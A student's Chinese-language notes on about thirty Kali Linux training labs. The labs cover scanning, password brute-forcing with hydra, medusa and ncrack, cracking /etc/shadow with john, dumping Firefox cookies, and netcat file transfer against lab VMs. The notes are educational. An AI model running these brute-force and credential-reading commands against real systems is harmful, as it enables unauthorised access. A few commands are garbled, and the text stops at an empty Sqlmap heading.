学校实训-笔记

学校寒假放了点作业出来
做个笔记

实验 1 配置Kali

实验场景
小明是网络工程师,某天他收到上级领导命令,需要在网络中部署一台Kali服务器,为…

实验环境
Kali 2016

实验工具

实验目的
对Kali进行网络配置,修改主机名和root密码,修改源配置文件并进行系统更新

实验步骤

1. 修改主机名

  • 临时修改主机名,重启会还原
  • 永久修改主机名,需要重启才能生效
  • 修改 /etc/hosts 配置文件

2. 配置Kali的网络

  • 修改本机的网卡设置,设置为dhcp获取IP方式,也可以设置成静态IP,需要给网卡配置IP地址
    vi /etc/network/interfaces

3. 查看当前用户是否是root,修改root密码

4. 修改Kali的源配置文件,添加国内的源,并进行系统升级

  • 添加中科大的源
    vi /etc/apt/sources.list
    deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
    deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
  • 执行更新指令
    apt-get update && apt-get upgrade && apt-get dist-upgrade
    等待更新完成

实验总结
Kali版本众多,最新版本中会添加一些最新的工具和软件,需要持续进行更新。

实验 2 Web应用程序-Dirb

实验场景
小明是网络工程师,某天他收到上级领导命令,需要在Kali服务器使用Dirb软件,为…

实验环境
攻击机Kali 2018
靶机Windows 7 192.168.163.

实验工具
Dirb

实验目的
了解并掌握Dirb对网站进行扫描

实验步骤

DIRB是一个Web内容扫描。它看起来对现有(和/或隐藏)的Web对象。它主要的工作原理是发动了对Web服务器的基于字典的攻击和分析的响应。

DIRB带有易于使用的一组预配置的攻击生词,但你可以用你自定义的词表。此外DIRB有时可以作为一个典型的CGI扫描器,但要记住是一个内容扫描仪没有漏洞扫描器。

DIRB主要目的是在专业的Web应用程序的审核帮助。特别是在与安全相关的测试。它没有涵盖的经典网页漏洞扫描器一些漏洞。 DIRB寻找其他通用CGI扫描器无法查找特定的Web对象。它不搜索的漏洞,也没有寻找网页内容,可以vulnerables。

直接在终端启动软件

dirb

扫描Web服务器(http://192.168.163.147:88/)利用系统自带字典文件
(/usr/share/wordlists/dirb/common.txt)

dirb http://192.168.163.147:88/ /usr/share/wordlists/dirb/common.txt

使用自备字典进行扫描

dirb http://192.168.163.147:88 /root/test.txt

实验总结
掌握使用Dirb对Web进行扫描,查看软件的扫描报告文件

实验 3 报告工具-pipal

实验场景
小明是网络工程师,某天他收到上级领导命令,需要在Kali服务器使用pipal工具,为…

实验环境
Kali 2018

实验工具
Pipal

实验目的
掌握密码分析工具pipal的使用方法

实验步骤

所有这些工具确实是给你的统计数据和信息,以帮助您分析密码。真正的工作是由你解释的结果进行。

查看帮助

pipal –h

分析本地password.txt文件,可以分析密码文件的词频等信息

pipal /root/password.txt

分析并显示前 5 个密码(-t 5),使用给定文件作为输入(/usr/share/wordlists/nmap.lst):

pipal –t 5 /usr/share/wordlists/nmap.lst

实验总结
pipal是一款词频分析工具,可以用来在字典中筛选出出现频率高的密码

实验 4 漏洞分析-unix-privesc-check

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用unix-privesc-check,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2016

实验工具

unix-privesc-check

实验目的

了解unix-privesc-check工具的使用

实验步骤

1. 查看帮助

unix-privesc-check -h
  • standard :标准”模式:速度优化检查大量的安全设置。
  • detailed :“详细”模式:与标准模式相同,但也检查打开文件的perms句柄和被调用的文件(例如从shell脚本分析,链接的.so文件)。 这种模式很慢。

2. 使用标准模式扫描本地

unix-privesc-check standard

3. 把报告保存到本地文件

unix-privesc-check > baogao.txt

4. 查看报告

cat baogao.txt

实验总结

unix-privesc-check是Kali Linux自带的一款提权漏洞检测工具。它是一个Shell文件,可以检测所在系统的错误配置,以发现可以用于提权的漏洞。

实验5 kali-漏洞扫描-lynis

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用lynis工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2018

实验工具

lynis

实验目的

了解漏洞扫描工具lynis的使用

实验步骤

1. 启动lynis并列出支持的参数

lynis

2. 对本地进行安全扫描

lynis audit system

3. 查看扫描日志(需要注意的是,每次审计都会覆盖原日志文件)

日志保存在/var/log/lynis-report.dat

grep –E “^warning|^suggestion” /var/log/lynis-report.dat

4. 检查更新

lynis update info --no-colors

5. 创建Lynis计划任务

如果你想为你的系统创建一个日扫描报告,你可以设置cron:

crontab -e

添加cron任务:

实验总结

观察lynis工具能否扫描出系统存在的漏洞,如果存在该如何进行加固

实验6 kali-漏洞扫描-WPScan

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用pipal工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机 kali 2018
靶机 windows 7 192.168.163.

实验工具

攻击机:wpscan
靶机:wordpress

实验目的

了解wpscan的使用

实验步骤

1. 简单的攻击

wpscan –u 192.168.163.147/wordpress

2. 列出用户名列表

wpscan –u 192.168.163.147/wordpress –e u vp

3. 通过字典爆破用户密码

wpscan –u 192.168.163.147/wordpress –e u –wordlist /root/password.txt

4. 了解其它参数

wpscan – h

实验总结

思考WPScan的作用场景是否有特定版本号要求

实验 7 密码攻击-cewl

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用cewl工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2018
windows 7 192.168.163.

实验工具

cewl

实验目的

掌握密码爬取工具cewl的使用

实验步骤

1. 直接在终端启动cewl

cewl –h

2. 爬取最小单词长度为 5

cewl 192.168.163.147:88 –m 5

3. 爬取网站深度为 5 的关键字

cewl – d 5 192.168.163.147:88

4. 收集包含emali地址信息

cewl – e 192.168.163.147:88

5. 统计每个单词出现的次数

cewl 192.168.163.147:88 –c

6. 可以多个参数一起使用

cewl 192

.168.163.147:88 -m 3 -d 3 -e -c -v -w a.txt

7. 查看a.txt字典

cat a.txt

实验总结

使用通过cewl工具爬取的字典文件,使用它去爆破网站的后台

实验 8 取证工具-dumpzilla

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用dumpzilla工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2018

实验工具

Dumpzilla

实验目的

了解取证工具Dumpzilla的使用

实验步骤

1. 查看dumpzilla工具帮助

Dumpzilla – h

2. 分析Mozilla的配置文件夹(’/root/.mozilla/firefox/4ed7jhtz.default/‘)的历史访问记录

dumpzilla '/root/.mozilla/firefox/4ed7jhtz.default/' –History

3. 分析Mozilla的配置文件夹(’/root/.mozilla/firefox/4ed7jhtz.default/‘)的Cookies

dumpzilla '/root/.mozilla/firefox/4ed7jhtz.default/' –-Cookies

4. 分析Mozilla的配置文件夹(’/root/.mozilla/firefox/4ed7jhtz.default/‘)和转储以外的所有影像数据(-All)

dumpzilla '/root/.mozilla/firefox/4ed7jhtz.default/' --All

实验总结

思考dumpzilla工具除了分析本机的浏览器文件是否还能分析远程主机的配置文件。

实验9 apache服务配置

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器安装apache服务,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2016

实验工具

apache 2

实验目的

掌握kali下apache的配置

实验步骤

查看本机安装的apache版本号

apachectl –v

启动apache服务

/etc/init.d/apache2 start

重启apache服务

/etc/init.d/apache2 restart

停止apache服务

/etc/init.d/apache2 stop

下载默认首页并查看网页内容

wget http://127.0.0.1

进入apache默认首页的目录

cd /var/www/html

替换默认首页内容为 123

echo "123" > index.html

重启apache服务

/etc/init.d/apache2 restart

下载默认首页

wget http://127.0.0.1

查看下载首页内容

cat index.html

实验总结

在kali上成功运行个人网页

实验 10 产品安全分析工具

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用glob工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机:kali
靶机:centos 6.9
靶机ip地址:192.168.163.136

实验工具

glob

实验目的

掌握glob的使用

实验步骤

启动kali中cisco的安全工具

cge.pl

选择一个漏洞,并按照所给的格式进行测试,网址后面添加漏洞编号

cge.pl http://192.168.163.136/index.html 3

CAT -h 主机名 - w 字典文件 - a 密码文件 - i

(直接在终端输入CAT直接启动,这里没有cisco设备,无法复现实验)

实验总结

如果有cisco设备,使用glob工具对其进行检测

实验11 pure-ftpd配置

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用pure-ftpd工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali

实验工具

pure-ftpd

实验目的

掌握按照和配置pure-ftpd

实验步骤

安装 Pure-FTPd

apt-get install pure-ftpd

修改配置

cd /etc/pure-ftpd/conf
echo no > Bind
echo no > PAMAuthentication
echo no > UnixAuthentication
ln -s /etc/pure-ftpd/conf/PureDB /etc/pure-ftpd/auth/50 pure

创建FTP服务要用到的用户组和用户

groupadd ftpgroup

向创建的组里面添加新用户

useradd -g ftpgroup -d /dev/null -s /bin/false ftpuser

为FTP文件新建一个目录

mkdir -p /home/pubftp

在ftp目录下新建一个测试文件

echo "test file" > /home/pubftp/test.txt

在FTP目录里面添加用户目录

mkdir /home/pubftp/sam

给FTP服务添加一个新的用户和密码

pure-pw useradd sam -u ftpuser -g ftpgroup -d /home/pubftp/sam

更新Pure-FTPd的数据库

pure-pw mkdb

启动FTP服务

service pure-ftpd start

启动FTP后,测试该服务

ftp 127.0.0.1

实验总结

思考这里的pure-ftpd和Linux的FTP以及vsftpd是否一样

实验12 Metasploit-db_import实验

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用db_import工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2016
centos 6.9

**实验工具

**

Metasploit
Nmap

实验目的

把nmap扫描的数据导入metasploit

实验步骤

  1. 在kali虚拟机上测试与靶机的连通性
ping 192.168.127.133 -c 4
  1. 在靶机centos上测试与kali的连通性
ping 192.168.127.134 -c 4
  1. 在kali上使用nmap进行局域网存活扫描并把结果保存为db.xml
nmap -sP 192.168.127.0/24 -oX db.xml
  1. 查看刚保存的文件
cat db.xml
  1. 在kali中启动metasploit并查看数据库中是否有数据,如果有数据使用hosts -d进行清空
msfconsole
hosts
hosts -d
  1. 利用db_import把刚刚nmap扫描的数据导入到数据库中(注意文件路径)
db_import /root/db.xml
  1. 使用hosts查看数据
hosts
  1. 过滤出其中开启22端口的主机
services -p 22 -c name,proto
  1. 过滤出开启21端口的主机
services -p 21 -c name,proto

实验总结

掌握msf下db_import导入数据功能的使用

实验13 web扫描-Nikto

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Nikto工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2016

实验工具

Nikto

实验目的

掌握Nikto的使用

实验步骤

Nikto 是一款Perl语言开发的开源代码的、功能强大的WEB扫描评估软件,能对web服务器多种安全项目进行测试的扫描软件。

扫描内容有以下几个方面:

  1. 软件版本
  2. 搜索存在安全隐患的文件(如:某些web维护人员备份完后,遗留的压缩包,若被下载下来,则获得网站源码)
  3. 服务器配置漏洞(组件可能存在默认配置)
  4. WEB Application层面的安全隐患(XSS,SQL注入等)
  5. 避免 404 误判
nikto -list-plugins

制定网站目录扫描

nikto –host http://192.168.21.128/index/

指定一个或多个端口进行扫描

nikto –host 192.168.21.128 –port 80,443

还可以进行批量扫描

nikto –host host.txt

把扫描结果导成文件保存在本地

nikto –host 192.168.21.128 –port 80 –output nikto.html

cat查看该文件也可以使用火狐打开该文件

cat nikto.html
firefox nikto.html

实验总结

观察Nikto的端口扫描和nmap的扫描结果是不是一样,如果不一样,谁的结果更准确一点

实验 14 哈希工具Hash-Identifier

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Hash-Identifier
工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2018

实验工具

hash-identifier

实验目的

了解工具的使用

实验步骤

1. 哈希值识别

哈希值是使用HASH算法通过逻辑运算得到的数值。不同的内容使用HASH算法运算后,得到的哈希值不同。当我们拿到一段hash值时该如何去判断它是属于那种算法。

在终端中启动hash-identifier,提示输入hash值。

hash-identifier

2. 识别测试数据

打开root目录下的HASH.txt文件,里面有几组测试数据,后面是hash编码。

  • 复制第一组数据到hash-identifier,判断该hash值最大可能的算法是MD5,最小可能性的是下面其它算法。
hash-identifier [first_hash_value]
  • 复制第二组数据到hash-identifier,识别结果是MD5(phpBB3)。
hash-identifier [second_hash_value]
  • 复制第三组数据到hash-identifier,识别结果是MD5(Unix)。
hash-identifier [third_hash_value]
  • 复制第四组数据到hash-identifier,识别结果是MD5(Wordpress)。
hash-identifier [fourth_hash_value]
  • 复制第五组数据到hash-identifier,识别结果是SHA-512。
hash-identifier [fifth_hash_value]
  • 复制第六组数据到hash-identifier,识别结果最可能的算法是Tiger-192。
hash-identifier [sixth_hash_value]

实验总结

验证Hash-Identifier工具对MD5等常见编码是否能成功识别。

实验 15 离线攻击工具-John工具

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用John工具,为
避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali

实验工具

john

实验目的

掌握kali下john工具的使用

实验步骤

1. 启动John工具

先启动john软件,在终端输入以下命令。

john

2. 获取本机密码散列

利用john破解密码,首先需要散列,这里我们把本机的密码散列作为密码。

unshadow /etc/passwd /etc/shadow > pasd

3. 使用John破解密码

直接使用本地的散列去进行破解,破解出本机的root密码。

john pasd

实验总结

思考John工具成功爆破的前提是在哪?

实验 16 密码爆破-Medusa

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Medusa工具,
来检测内网中是否存在弱口令服务,为避免在部署时候出现什么问题,小明首先在自己的虚
拟机上搭建一遍环境。

实验环境

攻击机 kali 2018
靶机 centos6.9

实验工具

medusa

实验目的

了解并掌握密码爆破软件medusa的基本用法

实验步骤

1. 启动Medusa

Medusa是支持AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare), NNTP, PcAnywhere, POP3, PostgreSQL, rexec, rlogin, rsh, SMB, SMTP (AUTH/VRFY), SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC的密码爆破工具。

在终端输入以下命令。

medusa

2. 查看可用模块

medusa -d

3. 查看模块帮助

medusa -M telnet -q

4. 爆破靶机的ssh

需要在本机先新增一个username.txtpassword.txt

medusa -h 192.168.163.150 -u username.txt -P password.txt -M ssh

实验总结

使用medusa工具批量爆破内网ip段,检测是否存在弱口令服务。

实验 17 远程爆破工具-Ncrack

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Ncrack工具,
为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机 kali 2018 192.168.163.154
靶机 windows 7 192.168.163.134

实验工具

Ncrack

实验目的

了解并掌握Ncrack工具的使用方法

实验步骤

1. 查看软件版本号

ncrack –v
``

`

**2. 查看Ncrack帮助**

```bash
ncrack --help

3. 爆破windows主机的3389

需要先添加一个usename.txtpassword.txt文件。

ncrack -vv -U usename.txt -P password.txt 192.168.163.134:3389 CL=1 -f

根据爆破结果,使用test/111111使用rdesktop可以正常连接。

实验总结

思考同样的爆破工具Ncrack和Medusa的差异和速度上有什么区别。

实验 18 主机系统识别-p0f

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用主机系统识别
p0f工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali

实验工具

p0f
xprobe2

实验目的

掌握使用工具来进行主机系统识别

实验步骤

1. 启动p0f监听

p0f是一款被动探测工具,通过分析网络数据包来判断操作系统类型。同时p0f在网络分析方面功能强大,可以用它来分析NAT、负载均衡、应用代理等。以下命令为监听网卡eth0并开启混杂模式。

p0f -i eth0 -p

2. 浏览器访问网页

通过浏览器去访问网页,能通过p0f观察到对方的系统。

实验总结

思考kali上最经典的扫描工具Nmap跟实验中p0f工具在识别结果上谁更准确。

实验 19 主机系统识别-xprobe2

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用xprobe 2 工具,
为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali2016

实验工具

xprobe2

实验目的

使用xprobe2进行远程系统识别

实验步骤

xprobe2是一款使用ICMP消息进行操作系统探测的软件,探测结果可以和Nmap互为参照。但是该软件目前公开版本为2005年的版本,对老的操作系统探测结果较为准确。对远程主机探测,可以直接通过xprobe2并制定远程主机ip或者主机名。

xprobe2 [remote_host_ip_or_name]

实验总结

思考xprobe 2 识别主机方式跟nmap和p0f有什么不一样,可以通过抓包去分析。

实验 20 数据取证-Hashdeep

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Hashdeep工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2018

实验工具

hashdeep

实验目的

了解数据取证工具hashdeep工具的使用

实验步骤

  1. 在数据取证中,通常需要验证文件的哈希值,以判断文件是否已知好文件,或者文件是否被修改过。Kali Linux提供专用工具hashdeep。该工具的早期版本名称为md5deep。该工具可以批量计算文件的哈希值,并和哈希值列表进行比对。该工具支持多种哈希算法,可以避免哈希碰撞问题。为了满足不同任务的需要,hashdeep提供多种检查模式,如审计模式、正向模式、反向模式。同时,该工具支持大小写不敏感和UTF编码, 以满足Windows文件系统分析需要。

  2. 直接启动软件:

    hashdeep –h
  3. 直接生成本地文件hash值:

    # 打印相对文件名而不是绝对文件名
    hashdeep –l ../*
    
    # 打印hash值到本地文件
    hashdeep –r test.txt > hash.txt
  4. 根据已知的hash值文件进行hash校验,如果一样即通过,如果不一样即审核不通过:

    hashdeep -r -a hash.txt test.txt

实验总结

了解了hashdeep工具,以后在下载文件时,可以通过hashdeep比对文件的hash是否一致来保障文件的安全性。

实验 21 NC端口通信实验

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用NC工具和centos进行通信,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2016
centos 6.9

实验工具

NC

实验目的

Nc是netcat的简写,有着网络界的瑞士军刀,因为它短小精悍、功能实用,是一款简单可靠的网络工具,学习它的基本使用

实验步骤

  1. 在kali虚拟机上测试与靶机的连通性:

    ping 192.168.127.129 -c 4
  2. 在靶机centos上使用nc开启服务端口:

    nc -l 9999
  3. 在kali上使用nmap对靶机进行端口扫描,发现9999端口是开放状态:

    nmap -p1-65535 192.168.127.129
  4. 在靶机上使用telnet进行测试9999端口是否能访问:

    telnet 192.168.127.129
  5. 在kali上使用nc语句和靶机通信:

    nc 192.168.127.129 9999
  6. 在kali上输入语句的同时在靶机上也会进行实时显示:

    My name is test
  7. 在centos上进行查看发现两者一样的显示。

  8. 在靶机使用nc开启udp端口:

    nc -ul 9999
  9. 开启tcp时可以用telnet进行测试端口是否开启,但开启udp端口时,telnet却不能进行检测,此刻就需要使用到nc的udp端口检测语句:

    nc -vuz 192.168.163.127.129 9999

实验总结

掌握kali和centos使用NC进行通信的实验。

实验 22 系统检查-Chkrootkit

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Chkrootkit工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2018

实验工具

chkrootkit

实验目的

掌握chkrootkit工具的使用

实验步骤

  1. chkrootkit是用来监测rootkit是否被安装到当前系统中的工具:

    chkrootkit

    如果发现有异常,会报出“INFECTED”字样。

  2. 查看其它命令:

    chkrootkit –h
  3. 跳过NFS挂载目录进行检测:

    chkrootkit -n
  4. 查看chkrootkit版本号:

    chkrootkit –V

实验总结

尝试升级chkrootkit来检测本机是否存在疑问的文件。

实验 23 信息收集-Dmitry

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Dmitry工具,为避免在部署时候出现什么问题,小明首先在自己的

虚拟机上搭建一遍环境。

实验环境

kali 2018 攻击机
windows 7 靶机 192.168.163.147

实验工具

dmitry

实验目的

掌握信息收集工具dmitry的使用

实验步骤

  1. 直接在终端中启动工具:

    dmitry -h
  2. 对主机进行端口扫描:

    dmitry –p 192.168.163.147

    将输出保存到%host.txt或由-o文件指定的文件:

    dmitry –p 192.168.163.147 –o test
  3. 扫描端口同时读取从扫描端口接收的banner:

    dmitry – p 192.168.163.147 –b
  4. 对主机的域名执行whois查找(需要联网操作):

    dmitry – w baidu.com
  5. 在主机上检索Netcraft.com信息(需要联网操作):

    dmitry – n baidu.com
  6. 执行搜索可能的子域(需要联网操作):

    dmitry – s baidu.com
  7. 执行搜索可能的电子邮件地址(需要联网操作):

    dmitry – e baidu.com

实验总结

思考在Dmitry工具中如果探测内网主机是否需要联网。

实验 24 信息收集-Netdiscover

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Netdiscover工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2016

实验工具

netdiscover

实验目的

了解netdiscover工具的使用

实验步骤

  1. 查看帮助:

    netdiscover –h
  2. 扫描本地网卡设备:

    netdiscover –i eth0
  3. 发送每个arp请求的次数,测试具有丢包的网络:

    netdiscover –c 192.168.21.1
  4. 扫描给定范围的主机:

    netdiscover –r 192.168.21.0/24
  5. 使用被动模式,只进行嗅探:

    netdiscover –p

实验总结

掌握Netdiscover的嗅探模式,在特定地方有奇效。

实验25 NC传输文件实验

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用NC工具和centos进行文件传输实验,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2016
centos 6.9

实验工具

NC

实验目的

Nc是netcat的简写,有着网络界的瑞士军刀,因为它短小精悍、功能实用,是一款简单可靠的网络工具,使用nc进行文件传输

实验步骤

  1. 在kali虚拟机上测试与靶机的连通性:

    ping 192.168.127.129 -c 4
  2. 在kali里面新建一个ceshi.txt文件并查看:

    echo "this is test" > ceshi.txt
  3. 在靶机centos上使用nc监听端口9999,接受到的所有数据都写到test文件里:

    nc -l 9999 > test.txt
  4. 在kali上面使用nc把本地的ceshi文件发送给靶机:

    nc 192.168.127.129 9999 < ceshi.txt
  5. 在靶机上查看是否有文件生成(如果靶机接受文件不会自动停止,那就使用ctrl+c中止文件接受语句):

    ls
  6. 在靶机上查看传输过来的文件看内容是否一致:

    cat test.txt

实验总结

掌握kali和centos使用NC传输文件的操作。

实验 26 抓包工具–Netsniff-ng

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用
netsniff-ng工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环
境。

实验环境

kali 2018

实验工具

netsniff-ng

实验目的

掌握netsniff-ng工具使用

实验步骤

  1. 抓取TCP或者UDP协议报文保存到dump.pcap
netsniff-ng --in eth0 --out dump.pcap tcp or udp
  1. 直接打开会出现乱码,需要结合其他分析工具进行分析数据包
capinfo dump.pcap
  1. 测试网卡最高传输速率,方法是先用trafgen产生traffic让网卡满负荷,再用netsniff-ng抓包分析
netsniff-ng -i eth0 - o /dev/shm/c1.pcap -s -n 1000000 -b 0
  1. 分析抓包的数据包
capinfos /dev/shm/c1.pcap

实验总结

对比Netsniff-ng和Wireshark的差异性在那。

实验27 Hash算法之MD5

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用
MD5工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2018

实验工具

md5sum

实验目的

掌握通过md5sum的使用和对比md5的HASH值

实验步骤

  1. 计算一个新建文件test.txt的md5值
md5sum test.txt
  1. 修改文件中内容再重新计算md5值,对比之下发现md5变了
md5sum test.txt
  1. 通过已知的md5值跟文件的md5值进行对比
md5sum –c md5.txt

实验总结

掌握kali自带的MD5计算小工具的使用

实验28 HASH算法之SHA

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用SHA工具,为
避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2018

实验工具

shasum

实验目的

掌握shasum工具等使用和对比文件HASH值

实验步骤

  1. 直接输出test.txt的SHA值
shasum test.txt
  1. 将sha1值输出到sha1.txt中
sha1sum test.txt > sha1.txt
  1. 通过已知的sha1对文件的完整性进行比对
sha1sum –c sha1.txt

实验总结

利用SHA1来快速比对文件的hash值是否发生变化

实验 29 黑客安防工具-Hydra

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Hydra工具,为
避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2016
windows 7

实验工具

hydra

实验目的

了解hydra并掌握使用hydra工具

实验步骤

  1. 在终端输入hydra,可以看到相关使用语法
hydra
  1. 参数列表:

    • -R 恢复上次停止的破解进度,继续破解
    • -S 使用SSL连接
    • -s PORT if the service is on a different default port, define it here
    • -s 端口号 在这里自定义要破解的端口号(替代默认端口)
    • -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
    • -l 登录名 或者 - L 字典 使用登录名 或者 从字典中获取登录名单
    • -p PASS or -P FILE try password PASS, or load several passwords from FILE
    • -p 密码 或者 - P 字典 使用单个密码 或者 从字典中获取密码列表
    • -e ns 附加选项,n 是表示空密码,s 尝试使用密码进行破解
    • -C FILE colon-separated “login:pass” format, instead of -L/-P options
    • -C 文件 使用冒号分割格式 例如 “登录名:密码”来代替-L/-P参数
    • -M FILE server list for parallel attacks, one entry per line
    • -M 文件 服务器列表(译者:ip列表),一行一条
    • -o FILE write found login/password pairs to FILE instead of stdout
    • -o 文件 将找到的密码写在文件里面 以此代替输出到屏幕上
    • -f 在使用-M参数以后 找到第一对登录名或者密码的时候中止破解
    • -t TASKS run TASKS number of connects in parallel (default: 16)
    • -t 计划任务 同时运行几个任务(默认是

: 16)

  • -w TIME defines the max wait time in seconds for responses (default: 30)
  • -w 时间 定义超时时间秒数(默认是: 30)
  • -vV 详细显示用户名或者密码的破解过程
  1. 用法
hydra 可选参数+必选参数+攻击地址+攻击类型
  1. 举例:使用hydra尝试爆破FTP服务器账号密码

    • 先在kali终端中尝试登录FTP服务器,看服务是否正常
ftp <target_ip>
  • 查看本地的字典文件
cat /usr/share/wordlists/rockyou.txt
  • 加载本地的密码文件来进行爆破
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://<target_ip>
  • 使用爆破的密码进行登录
ftp <target_ip>
  1. 其它的一些破解类型

    • 使用hydra破解SSH的密码
hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh
  • 破解HTTPS
hydra -m /index.php -l username -P pass.txt IP https
  • 破解Teamspeak
hydra -l 用户名 - P 密码字典 - s 端口号 - vV ip teamspeak
  • 破解Cisco
hydra -P pass.txt IP cisco
hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
  • 破解SMB
hydra -l administrator -P pass.txt IP smb
  • 破解POP3
hydra -l muts -P pass.txt my.pop3.mail pop3
  • 破解RDP
hydra IP rdp -l administrator -P pass.txt -V
  • 破解HTTP-Proxy
hydra -l admin -P pass.txt http-proxy://10.36.16.18
  • 破解Telnet
hydra IP telnet -l 用户 - P 密码字典 - t 32 -s 23 -e ns -f –V

实验总结

掌握使用Hydra来爆破常见的服务

实验 30 黑客安防工具-Masscan

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Masscan工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

  • Kali 2016
  • Windows 7

实验工具

  • Masscan

实验目的

了解掌握masscan工具的使用和语法

实验步骤

Masscan的基本使用

  1. 在终端输入以下命令启动Masscan:

    masscan
  2. 详细参数含义:

    • -p 指定端口进行扫描
    • --banners 获取banner信息,支持少量的协议
    • --rate 指定发包的速率
    • -c, --conf 读取配置文件进行扫描
    • --echo 将当前的配置重定向到一个配置文件中
    • -e, --adapter 指定用来发包的网卡接口名称
    • --adapter-ip 指定发包的IP地址
    • --adapter-port 指定发包的源端口
    • --adapter-mac 指定发包的源MAC地址
    • --router-mac 指定网关的MAC地址
    • --exclude IP地址范围黑名单,防止masscan扫描
    • --excludefile 指定IP地址范围黑名单文件
    • --includefile, -iL 读取一个范围列表进行扫描
    • --ping 扫描应该包含ICMP回应请求
    • --append-output 以附加的形式输出到文件
    • --iflist 列出可用的网络接口,然后退出
    • --retries 发送重试的次数,以1秒为间隔
    • --nmap 打印与nmap兼容的相关信息
    • --http-user-agent 设置user-agent字段的值
    • --show [open,close] 告诉要显示的端口状态,默认是显示开放端口
    • --noshow [open,close] 禁用端口状态显示
    • --pcap 将接收到的数据包以libpcap格式存储
    • --regress 运行回归测试,测试扫描器是否正常运行
    • --ttl 指定传出数据包的TTL值,默认为255
    • --wait 指定发送完包之后的等待时间,默认为10秒
    • --offline 没有实际的发包,主要用来测试开销
    • -sL 不执行扫描,主要是生成一个随机地址列表
    • --readscan 读取从-oB生成的二进制文件,可以转化为XML或者JSON格式
    • --connection-timeout 抓取banners时指定保持TCP连接的最大秒数,默认是30秒
  3. 示例命令:

    masscan –p21,80,81,8080 192.168.163.0/24 --rate=10000

    扫描指定21, 80, 81, 8080端口的192.168.163.0网段,以每秒10000个包的速率。

扫描指定IP文件中的地址

IP地址范围有三种有效格式:

  1. 单独的IPv4地址

  2. 类似”10.0.0.1-10.0.0.233”的范围地址

  3. CIDR地址,类似于”0.0.0.0/0”,多个目标可以用逗号隔开

  4. 扫描ip.txt中IP从1-1000端口并获取banner信息,发包速率为10000:

    masscan -p1-1000 --rate=10000 --banners -iL ip.txt

实验总结

掌握Masscan扫描工具的使用,对比其它的扫描软件的优势所在。

实验 31 注入工具-Sqlmap

实验场景

